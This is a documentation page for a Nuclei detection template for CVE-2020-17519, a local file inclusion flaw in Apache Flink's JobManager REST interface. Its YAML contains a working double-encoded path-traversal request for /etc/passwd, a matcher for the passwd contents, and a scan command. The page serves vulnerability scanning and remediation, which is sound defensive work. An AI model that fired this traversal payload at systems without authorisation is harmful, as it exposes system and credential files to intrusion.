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Apache Flink - Local File Inclusion

ID: CVE-2020-17519

Severity: high

Author: pdteam

Tags: cve,cve2020,apache,lfi,flink,kev

Description

Section titled “Description”

Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).

YAML Source

Section titled “YAML Source”
id: CVE-2020-17519


info:
  name: Apache Flink - Local File Inclusion
  author: pdteam
  severity: high
  description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.
  reference:
    - https://github.com/B1anda0/CVE-2020-17519
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17519
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17519
    cwe-id: CWE-552
    epss-score: 0.97141
    epss-percentile: 0.99802
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: flink
  tags: cve,cve2020,apache,lfi,flink,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b9aa691dfa5fdd4aaad9dba149287ea23b16730479c6daa413d7f9bd287ccfd602205546c9972ed3829f33a23a7070441ea7b138154163702789740f517902ded8f0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-17519.yaml"

View on Github